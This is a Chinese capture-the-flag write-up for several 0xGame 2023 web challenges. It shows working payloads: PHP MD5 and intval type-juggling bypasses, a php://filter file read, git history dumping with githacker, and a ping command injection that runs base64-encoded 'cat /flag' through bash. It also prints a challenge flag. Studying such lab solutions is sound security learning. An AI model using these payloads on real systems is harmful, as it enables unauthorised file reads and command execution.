我一直陪着你
知识
1.1
题目
[Week 1] signin
考点:
在所有文件中搜索
欢迎来到 0xGame 2023, 由 Vue.js 强力驱动
需要找到flag,在所有文件搜索0xgame
或者flag
查看相关的,找到flag
[Week 1] baby_php
考点:
intval php伪协议 弱类型比较
PHP 是世界上最好的语言!
<?php
// flag in flag.php
highlight_file(__FILE__);
if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$name = $_COOKIE['name'];
if ($a != $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
include($name.'.php');
}
}
}
?>
[0x00] 分析代码
$a != $b && md5($a) == md5($b)
MD5弱类型绕过,这里用数组
GET:/?a[]=1&b[]=2
!is_numeric($c) && $c != 1024 && intval($c) == 1024
浮点数+字符=字符串
POST:c=1024.9a
include($name.'.php');
题目提示了flag in flag.php
但这里还需要php伪协议
name=php://filter/read=convert.base64-encode/resource=flag.php
[0x01]传入payload
得到Base64加密后的flag
PD9waHAKCiRmbGFnID0gJzB4R2FtZXs0M2JiM2UyNC0wODI0LTQ4Y2ItOTVkMC1jNDcxNTQwYzA5NTN9JzsKCj8+
解密得
<?php
$flag = '0xGame{43bb3e24-0824-48cb-95d0-c471540c0953}';
?>
[Week 1] hello_http
考点:
HTTP
你真的了解 HTTP 协议吗?
提示我们按照要求得flag
/?query=ctf
action=getflag
Cookie
X-Forwarded-For
User-Agent
Referer
[Week 1] repo_leak
考点:
git版本回溯
简单 Hugo 静态博客
[0x00] 读得文件
githacker --url http://localhost:8013/ --output-folder test
[0x01] 进入环境
[0x02] 查看历史
这一步可能会有报错,要你的身份
Git提示Please tell me who you are
数据不需要正确
[0x03] 回退到上⼀个版本
git reset --hard 8a5b670558921bd232d75b29542492f00698298b
[0x04] 查flag
本地再起⼀个 http server 就能看到 flag(暂时不会)
或者对着本地⽂件嗯搜
也⾏
参考:
https://blog.csdn.net/xf555er/article/details/130048343
[Week 1] ping
考点:
rce绕过过滤
Online Ping Service
右键源代码可以看到 hint
<!-- visit '/api.php?source' for hint -->
访问/api.php?source
<?php
function sanitize($s) {
$s = str_replace(';', '', $s);
$s = str_replace(' ', '', $s);
$s = str_replace('/', '', $s);
$s = str_replace('flag', '', $s);
return $s;
}
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
if (!isset($_POST['ip'])) {
die('No IP Address');
}
$ip = $_POST['ip'];
$ip = sanitize($ip);
if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
die('Invalid IP Address');
}
system('ping -c 4 '.$ip. ' 2>&1');
?>
sanitize 函数会 replace ⼀些字符
;
⽤ %0a
绕过, 空格⽤ ${IFS}
绕过, /
以及 flag
⽤ base64
编码绕过 (⽹上参考⽂章很多)
然后 preg_match 会匹配⼀个 IP 的正则表达式, 但是正则前后并没有包含 ^...$
, 因此像 test127.0.0.1test
这种形式也能够通过检测
ip=#127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash
#
能ping失败,从而加速
做题速度
前端对 IP 的格式做了限制但是并没有什么⽤, F12
改⼀改或者直接⽤ burpsuite
发包就⾏
[Week 2] ez_sqli
考点:
考察 MySQL 堆叠注⼊ + 预处理语句绕过 WAF
简单的 SQL 注入